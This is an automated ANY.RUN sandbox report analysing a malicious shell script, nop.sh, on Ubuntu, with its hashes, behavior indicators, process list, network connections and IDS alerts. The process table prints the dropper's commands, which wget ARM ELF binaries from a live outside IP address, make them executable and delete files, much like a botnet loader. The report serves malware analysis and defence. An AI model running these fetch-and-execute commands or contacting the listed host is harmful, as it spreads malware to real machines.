File name:

nop.sh

Full analysis: https://app.any.run/tasks/b1dcd0d2-3c48-4655-bb25-01a9c94bd784
Verdict: Malicious activity
Analysis date: March 24, 2025, 16:20:38
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: POSIX shell script, ASCII text executable
MD5:

C89AEC39FE2D834458B85196E37E2361

SHA1:

E62698DCC5078D8B21B93F12BA6D25FCF387F8B1

SHA256:

F1DDD8063122975E6E69703D7F0C6B195045809F574C3302D1E31FE9C0380FD2

SSDEEP:

6:hQtIIXbWU3AFFW84MvUFJXbWU3AQF884MvUFJXbWU3ATFW84MvUFJXbWU3AV84Mz:CtIkP3A/WDMvUFFP3AQ8DMvUFFP3ATM/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Executes the "rm" command to delete files or directories

      • dash (PID: 40679)

    • Reads passwd file

      • dash (PID: 40679)

    • Modifies file or directory owner

      • sudo (PID: 40674)

    • Reads profile file

      • dash (PID: 40679)

    • Uses wget to download content

      • dash (PID: 40679)

    • Potential Corporate Privacy Violation

      • wget (PID: 40682)
      • wget (PID: 40697)
      • wget (PID: 40687)

    • Connects to the server without a host name

      • wget (PID: 40682)
      • wget (PID: 40697)
      • wget (PID: 40687)
      • wget (PID: 40692)

  • INFO

    • Checks timezone

      • wget (PID: 40682)
      • wget (PID: 40687)
      • wget (PID: 40697)
      • wget (PID: 40692)

    • Creates file in the temporary folder

      • wget (PID: 40687)
      • wget (PID: 40697)
      • dash (PID: 40679)
      • wget (PID: 40682)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
247
Monitored processes
23
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs dash no specs locale-check no specs rm no specs wget chmod no specs dash no specs rm no specs wget chmod no specs dash no specs rm no specs wget chmod no specs dash no specs rm no specs wget chmod no specs dash no specs

Process information

PID
CMD
Path
Indicators
Parent process
40673/bin/sh -c "sudo chown user /home/user/Desktop/nop\.sh && chmod +x /home/user/Desktop/nop\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/nop\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
32256
40674sudo chown user /home/user/Desktop/nop.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40675chown user /home/user/Desktop/nop.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40676chmod +x /home/user/Desktop/nop.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40677sudo -iu user /home/user/Desktop/nop.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
32256
40679/bin/sh /home/user/Desktop/nop.sh/usr/bin/dash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
32256
40680/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40681rm -rf rib/usr/bin/rm—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40682wget http://154.205.128.91/arm -O-/usr/bin/wget
dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40683chmod 777 rib/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
3
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
40679dash/tmp/ribbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
14
DNS requests
12
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.97:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.17:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
185.125.190.17:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
40687
wget
GET
200
154.205.128.91:80
http://154.205.128.91/arm5
unknown
—
—
malicious
40682
wget
GET
200
154.205.128.91:80
http://154.205.128.91/arm
unknown
—
—
malicious
40697
wget
GET
200
154.205.128.91:80
http://154.205.128.91/arm7
unknown
—
—
malicious
40692
wget
GET
404
154.205.128.91:80
http://154.205.128.91/arm6
unknown
—
—
malicious
—
—
POST
200
185.125.188.55:443
https://api.snapcraft.io/v2/snaps/refresh
unknown
binary
45.3 Kb
whitelisted
—
—
GET
200
185.125.188.54:443
https://api.snapcraft.io/v2/snaps/info/curl?architecture=amd64&fields=architectures%2Cbase%2Cconfinement%2Clinks%2Ccontact%2Ccreated-at%2Cdescription%2Cdownload%2Cepoch%2Clicense%2Cname%2Cprices%2Cprivate%2Cpublisher%2Crevision%2Csnap-id%2Csummary%2Ctitle%2Ctype%2Cversion%2Cwebsite%2Cstore-url%2Cmedia%2Ccommon-ids%2Ccategories
unknown
binary
2.86 Kb
whitelisted
—
—
POST
200
185.125.188.59:443
https://api.snapcraft.io/v2/snaps/refresh
unknown
binary
45.2 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.17:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
169.150.255.183:443
odrs.gnome.org
—
GB
whitelisted
—
—
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
40682
wget
154.205.128.91:80
—
IHGGROUP-001
SC
malicious
40687
wget
154.205.128.91:80
—
IHGGROUP-001
SC
malicious
40692
wget
154.205.128.91:80
—
IHGGROUP-001
SC
malicious
40697
wget
154.205.128.91:80
—
IHGGROUP-001
SC
malicious

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.97
  • 91.189.91.49
  • 185.125.190.96
  • 185.125.190.49
  • 91.189.91.98
  • 185.125.190.18
  • 185.125.190.98
  • 91.189.91.96
  • 185.125.190.48
  • 185.125.190.17
  • 185.125.190.97
  • 91.189.91.48
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::197
  • 2001:67c:1562::23
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::23
whitelisted
odrs.gnome.org
  • 169.150.255.183
  • 169.150.255.181
  • 212.102.56.179
  • 37.19.194.81
  • 195.181.170.18
  • 195.181.175.41
  • 207.211.211.27
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.54
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
whitelisted
google.com
  • 216.58.206.46
  • 2a00:1450:4001:81c::200e
whitelisted
13.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
40682
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
40687
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
40697
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
nop.sh